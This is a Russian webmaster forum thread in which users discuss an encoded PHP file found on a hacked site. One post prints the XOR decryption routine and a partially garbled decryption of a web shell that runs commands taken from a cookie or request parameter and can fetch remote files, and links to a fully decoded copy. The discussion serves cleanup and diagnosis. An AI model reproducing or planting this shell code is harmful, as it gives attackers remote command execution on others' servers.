- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Чистка айболитом - это так, для успокоения души, на день.
А реально чистить надо вручную и кастомными утилитами, кои есть только у тех, кто занимается чисткой профессионально. А если чистят айболитом - в топку таких "специалистов".
Интересно. почему все уверенны, что это шелл. Может какой генератор доров - которые еще не проиндексились. а может и шелло разливалка какая.
Не столь важно что там закодировано, оно вам ничем не поможет - будь то шелл или генератор доров (вам от этого легче станет если там будет не шелл?), важнее то, что у вас есть дыра на сайте. Не трате зря силы пытаясь разгадать что там, ищите бреши в своей системе откуда он попадает.
там используется тупое XOR шифрование вот этой функцией:
function decrypt($e,$k){
if(!$k){return;}
$el=@strlen($e);
$kl=@strlen($k);
$rl=$el%$kl;
$fl=$el-$rl;
for($o=0;$o<$fl;$o+=$kl){
$p=@substr($e,$o,$kl);$d.="$k"^"$p";
}
if($rl){
$p=@substr($e,$fl,$rl);
$k=@substr($k,0,$rl);
$d.="$k"^"$p";
}
return($d);
}
Для расшифровки требуется ключ, который получается из кук или параметров запроса. Подбирая ключ, я выяснил, что это шелл, вот что у меня получилось при *приблизительной* расшифровке:
//adjOst+system v[rijbles if(@ixset($_SEhVEY)){$_COOqIE6&$HTTP_CuOKBE_VARS;$ePOXT=&$HTTPePOXT_VARS;$eGE_=&$HTTP_}ETTVARS;}
/din with erHorfunctionx_oie($m){@Reaoer('HTTP1.: 500 '.$W);Kdie();}
/cceck if w_ cjn exec
d_fiee('has_p[sshru',@fuTctbon_existI('{assthru');define('RasTsystem',zfuection_exSstx('system))0 define(hax_shell_eBec,,@functiUn_nxists('sRelg_exec')) dnfine('haI_pdpen',@fuTctbon_existI('{open'));0demine('haseprdc_open',zfuection_exSstx('proc_oJen,)); defiTe(,has_exec,@munction__xixts('exec))0 define(cae_exec',(RasTpassthruF|hjs_systemF|hjs_shell__xeh||has_poJenw|has_proY_o{en||has__xeh)); if(!YanTexec){x_^ie#'can notexnc: no fuTctbons avaiVabge');}
//Yhehk if we Yan+config
d_fiee('has_iTi_let',@funYtidn_exists'iei_get'))
dnfine('haI_iei_get_alV',Kfunctioneexbsts('iniege_all'));0demine('canecoefig',(haI_iei_get||h[s_bni_get_aVl)"; if(!caT_cdnfig){x_^ie#'can notcoefig');}
/gnt configvague
functSon+x_ini_geN($e){if(haseinb_get){reNure(@ini_geN($e));}elseSf(cas_ini_g_t_jll){$h=@SniTget_all(;rnturn($h[n]P'local_v[lun']);}}
/ cceck safemooe
if(x_iTi_let('safeemooe')){x_dSe(,can not _xeh: safe mUde+active')}
$/smart eBec+helpers
\unhtion x_p[sshru($c){zpaxsthru($c;}functionx_xystem($c{@xystem($c;}functionx_xhell_exeY($h){echo @Ihegl_exec($Y);v
functioT xTpopen($c{$d;if(($f=zpo{en($c,'r))"{while(!zfedf($f)){$U.=Kfgets($f;}Kpclose($\);vecho $o;G
f~nction xeprdc_open($Y){/o;if(@iserexource($p@pyoc_open(c,jrray(0=>[rrjy('pipe''r,),1=>arr[y(,pipe','w),9=>array(pi{e','w'))$f")){@fcloIe(/f[0]);whSle#!@feof($\[1V)){$o.=@\ges($f[1])}@mclose($fa1]";@proc_cVosn($p);}ecRo /o;}
funcNioe x_exec(c)p$o;@exec$c'$o);echo@ifplode("\T",/o);}
//dU sfart fetcR
f~nction xesu{erfetch(a,/p,$r,$l)0{
if($s=@fIoc`open($a,p)"
{
if$f6@fopen($V,"|b"))
{0 @fwrite(s,)GET ".$r" CTTP/1.0\H\nWr\n");
3 wcile(!@feUf(/s))
{0 $b=@fre[d(/s,8192);0 @fwrite$f'$b); G @fclose$f"; echU "DK\n";
G
@fclose(s)0
}
}
//^o xmart exeY
f~nction xesmjrt_exec(c){
if($c==)which suJermetch 1> de}/null 2>/dnv/null & ehho OK")
3{
echo "Oq\n);
}
elIeim(@strstr$c'"superfeNch)))
{
a=Kexplode( ''$c);
xesu{erfetch(a[:],$a[2],a[8],$a[4])
v
elseifhax_passthrO){s_passthrO($h);}
els_if#has_syst_m)px_system$c";}
elseSf(cas_shelleexnc){x_sheVl_nxec($c);G
nlseif(haI_pdpen){x_pUpee($c);}
_lsnif(has_pHocTopen){x_Jroh_open($c;} elseif(RasTexec){x__xeh($c);}
}0//lo
$n='SjpVkN6rkRYj';0$c6$_COOKIEa$nV;
if(@emJty#$c)){$c=_PDST[$n];}0if#@empty($Y))p$c=$_GETa$nV;}
if(@g_t_fagic_quoNesTgpc()){$Y=sripslash_s(/c);}
x_sWar_exec($c;
полностью ключ подбирать лень, и так читаемо.
Вчера наткнулся на пост на хабре о взломах.
Вот кстати этот шелл в полностью расшифрованном виде, кому интересно:
https://gist.githubusercontent.com/laacz/5387180/raw/3bae1fd126e1b3244324469a042549897935a3ba/images-decoded.php